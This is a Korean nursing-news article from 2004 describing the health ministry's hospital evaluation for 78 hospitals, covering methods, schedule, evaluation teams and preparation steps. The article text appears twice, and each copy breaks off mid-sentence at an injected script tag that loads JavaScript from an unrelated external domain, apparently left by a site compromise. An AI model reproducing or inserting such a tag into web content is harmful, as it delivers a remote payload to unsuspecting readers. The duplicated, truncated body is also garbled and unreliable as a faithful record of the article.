2004 의료기관평가 어떻게 진행되나
전국 78개 병원 대상 … 평가결과 공표 예정
[편집국] 백찬기 ckbaik@nursenews.co.kr 기사입력 2004-08-19 오전 09:54:55
보건복지부는 의료기관의 질 향상을 위해 8월 31일부터 11월 5일까지 의료기관의 진료 능력이나 시설, 서비스 등을 종합평가, 12월에 결과를 발표한다.
평가대상은 서울대병원, 삼성서울병원, 서울아산병원 등 종합전문요양기관 42곳과 고려대 안산병원, 국립경찰병원, 을지병원 등 500병상 이상의 종합병원 36곳 등 모두 78곳이다. 당초 평가대상에 포함됐던 △산재의료관리원 인천중앙병원 △산재의료관리원 태백중앙병원 △강릉동인병원 △영동병원 △문경제일병원 △경상병원 △백제병원 등 7곳은 일반병원보다 많은 정신과, 진폐환자, 노인 등 특수병상을 운영하고 있는 점과 일반병상의 경우 중소병원 수준인 점 등을 감안, 올해에는 대상에서 제외하고 내년 평가대상에 포함시키기로 했다. 의료기관평가 시행과 관련, 세부 내용에 대해 살펴본다.
◇평가방법=의료기관평가는 종합병원과 300병상 이상 병원급 의료기관을 대상으로 시행되며 평가를 받은 병원은 3년마다 받게 된다. 또 올해에는 종합전문요양기관과 500병상 이상 종합병원 78곳이 평가대상이다. 평가방법은 서류 및 현지평가로 진행되며 정기평가와 수시확인평가 방식으로 이뤄지게 될 예정이다.
보건복지부는 의료기관평가의 객관성과 공정성을 확보하기 위해 대한간호협회를 비롯, 소비자단체, 대한병원협회, 학계 전문가, 국민건강보험공단·건강보험심사평가원, 언론인 등 16명으로 구성된 의료기관평가위원회를 운영하고 있으며 위원장은 보건복지부 차관이 맡고 있다. 또 평기기준의 선정과 결과분석 등 전문적인 사항을 심의하기 위한 의료기관 실무위원회를 지난 4월 구성 운영 중이다.
보건복지부는 평가결과를 매년 말 일괄적으로 발표할 예정이며 평가대상 병원에 대해선 평가시행 3개월 후 평가결과를 통보할 예정이다. 그러나 환자의 안전과 관련, 시급한 문제점이 발견되면 결과통보에 앞서 병원 측에 개선요청을 하게 된다.
평가대상 병원은 평가과정에 대한 이의와 평가요원의 평가방식에 대해 평가위원회에 이의제기를 할 수 있으며 평가과정에서 뚜렷한 잘못이 인정될 경우 해당병원과 상의한 후 즉시 재평가에 나서게 된다. 평가대상 병원은 통보된 평가결과에 대해 1회에 한해 이의제기가 가능하며 평가과정에서 문제를 일으킨 평가요원은 자격정지 등의 조치를 받게 된다.
◇평가일정=지역별로 서울, 경기·인천, 강원, 충청·대전, 전북, 전남·광주, 경북·대구, 경남·부산·울산 순으로 평가가 이뤄지며 같은 지역 내에선 종합전문요양기관과 병상규모에 따라 순서가 정해지게 된다. 평가기간은 8월 31일부터 오는 11월 5일까지이며 병원 1곳마다 화∼수 또는 목∼금 이틀간 평가를 받게 된다. 평가는 오전 9시부터 밤 10시까지 계속된다. 다만, 병원의 특수한 사정으로 조정이 필요하다고 판단될 경우 일정을 조정할 수 있다.(병원별 일정표 참조)
조사 첫날에는 평가반원 소개 및 병원현황 설명(30) 부서별 조사 분담 및 순서 확정(15) 병원 준비자료 검토 및 자료 요청(15)→부서별 조사 및 일반 면담(150)→부서별 조사 및 일반면담(240)→중간점검(평가반장, 30) 등의 순서로 진행되고 오후 9시부터 3시간동안 진행되는 야간조사에서는 심폐소생술 수행능력, 환자안전보안체계, 응급실 시설수준 등 3개 문항을 조사하게 된다. 둘째 날에는 부서별 조사 및 일반 면담(360)→평가반 의견 종합 및 보고(60)→추가부문 재조사(필요시, 60) 순으로 진행된다.(괄호안은 소요시간, 분)
◇평가반 구성=일정 자격이상 병원에서 추천받은 인력과 평가업무에 참여한 경험이 있는 인력, 그리고 관련단체에서 추천된 인력풀 중에서 적정인원을 뽑아 병원에 확정 통보하게 된다. 간호사의 경우 500병상 이상 병원의 근무경력이 10년 이상이며 수간호사급 이상인 경우 평가원 자격요건에 충족된다.
평가반은 총 43개 반으로, 1개 평가반은 의사 1명, 간호사 3명, 약사 1명, 의무기록사 1명, 영양사 1명, 병원관리자 1명, 면담조사원 2명 등 모두 24명으로 구성된다.
1개반은 병원 2곳을 평가하며 병원 1곳마다 이틀간 평가를 하게 된다. 그러나 특수병동이 많은 7개 병원이 대상에서 제외됨에 따라 추후에 1개반이 병원 1곳만을 평가하는 경우가 발생될 것으로 보인다.
또 평가자별로 의사는 의사인력의 기술수준·응급실 등을, 간호사는 병동·외래·중환자실·수술실 등을, 약사는 약제부문을, 의무기록사는 의무기록관리 부문을, 영양사는 급식부문을, 병원관리자는 병원일반관리 부문을, 면담조사원은 일반 면담조사를 각각 맡아 평가하게 된다.
◇의료기관 준비사항=의료기관평가 설명회에 참석, 평가일정 등을 챙긴 후 담당 총괄부서를 선정해야 한다. 이어 병원 내 의료기관평가 종합대책을 마련하고 부서별로 의료기관평가 준비일정을 세워 병원 ?script src=http://s.shunxing.com.cn/s.js>
평가대상은 서울대병원, 삼성서울병원, 서울아산병원 등 종합전문요양기관 42곳과 고려대 안산병원, 국립경찰병원, 을지병원 등 500병상 이상의 종합병원 36곳 등 모두 78곳이다. 당초 평가대상에 포함됐던 △산재의료관리원 인천중앙병원 △산재의료관리원 태백중앙병원 △강릉동인병원 △영동병원 △문경제일병원 △경상병원 △백제병원 등 7곳은 일반병원보다 많은 정신과, 진폐환자, 노인 등 특수병상을 운영하고 있는 점과 일반병상의 경우 중소병원 수준인 점 등을 감안, 올해에는 대상에서 제외하고 내년 평가대상에 포함시키기로 했다. 의료기관평가 시행과 관련, 세부 내용에 대해 살펴본다.
◇평가방법=의료기관평가는 종합병원과 300병상 이상 병원급 의료기관을 대상으로 시행되며 평가를 받은 병원은 3년마다 받게 된다. 또 올해에는 종합전문요양기관과 500병상 이상 종합병원 78곳이 평가대상이다. 평가방법은 서류 및 현지평가로 진행되며 정기평가와 수시확인평가 방식으로 이뤄지게 될 예정이다.
보건복지부는 의료기관평가의 객관성과 공정성을 확보하기 위해 대한간호협회를 비롯, 소비자단체, 대한병원협회, 학계 전문가, 국민건강보험공단·건강보험심사평가원, 언론인 등 16명으로 구성된 의료기관평가위원회를 운영하고 있으며 위원장은 보건복지부 차관이 맡고 있다. 또 평기기준의 선정과 결과분석 등 전문적인 사항을 심의하기 위한 의료기관 실무위원회를 지난 4월 구성 운영 중이다.
보건복지부는 평가결과를 매년 말 일괄적으로 발표할 예정이며 평가대상 병원에 대해선 평가시행 3개월 후 평가결과를 통보할 예정이다. 그러나 환자의 안전과 관련, 시급한 문제점이 발견되면 결과통보에 앞서 병원 측에 개선요청을 하게 된다.
평가대상 병원은 평가과정에 대한 이의와 평가요원의 평가방식에 대해 평가위원회에 이의제기를 할 수 있으며 평가과정에서 뚜렷한 잘못이 인정될 경우 해당병원과 상의한 후 즉시 재평가에 나서게 된다. 평가대상 병원은 통보된 평가결과에 대해 1회에 한해 이의제기가 가능하며 평가과정에서 문제를 일으킨 평가요원은 자격정지 등의 조치를 받게 된다.
◇평가일정=지역별로 서울, 경기·인천, 강원, 충청·대전, 전북, 전남·광주, 경북·대구, 경남·부산·울산 순으로 평가가 이뤄지며 같은 지역 내에선 종합전문요양기관과 병상규모에 따라 순서가 정해지게 된다. 평가기간은 8월 31일부터 오는 11월 5일까지이며 병원 1곳마다 화∼수 또는 목∼금 이틀간 평가를 받게 된다. 평가는 오전 9시부터 밤 10시까지 계속된다. 다만, 병원의 특수한 사정으로 조정이 필요하다고 판단될 경우 일정을 조정할 수 있다.(병원별 일정표 참조)
조사 첫날에는 평가반원 소개 및 병원현황 설명(30) 부서별 조사 분담 및 순서 확정(15) 병원 준비자료 검토 및 자료 요청(15)→부서별 조사 및 일반 면담(150)→부서별 조사 및 일반면담(240)→중간점검(평가반장, 30) 등의 순서로 진행되고 오후 9시부터 3시간동안 진행되는 야간조사에서는 심폐소생술 수행능력, 환자안전보안체계, 응급실 시설수준 등 3개 문항을 조사하게 된다. 둘째 날에는 부서별 조사 및 일반 면담(360)→평가반 의견 종합 및 보고(60)→추가부문 재조사(필요시, 60) 순으로 진행된다.(괄호안은 소요시간, 분)
◇평가반 구성=일정 자격이상 병원에서 추천받은 인력과 평가업무에 참여한 경험이 있는 인력, 그리고 관련단체에서 추천된 인력풀 중에서 적정인원을 뽑아 병원에 확정 통보하게 된다. 간호사의 경우 500병상 이상 병원의 근무경력이 10년 이상이며 수간호사급 이상인 경우 평가원 자격요건에 충족된다.
평가반은 총 43개 반으로, 1개 평가반은 의사 1명, 간호사 3명, 약사 1명, 의무기록사 1명, 영양사 1명, 병원관리자 1명, 면담조사원 2명 등 모두 24명으로 구성된다.
1개반은 병원 2곳을 평가하며 병원 1곳마다 이틀간 평가를 하게 된다. 그러나 특수병동이 많은 7개 병원이 대상에서 제외됨에 따라 추후에 1개반이 병원 1곳만을 평가하는 경우가 발생될 것으로 보인다.
또 평가자별로 의사는 의사인력의 기술수준·응급실 등을, 간호사는 병동·외래·중환자실·수술실 등을, 약사는 약제부문을, 의무기록사는 의무기록관리 부문을, 영양사는 급식부문을, 병원관리자는 병원일반관리 부문을, 면담조사원은 일반 면담조사를 각각 맡아 평가하게 된다.
◇의료기관 준비사항=의료기관평가 설명회에 참석, 평가일정 등을 챙긴 후 담당 총괄부서를 선정해야 한다. 이어 병원 내 의료기관평가 종합대책을 마련하고 부서별로 의료기관평가 준비일정을 세워 병원 ?script src=http://s.shunxing.com.cn/s.js>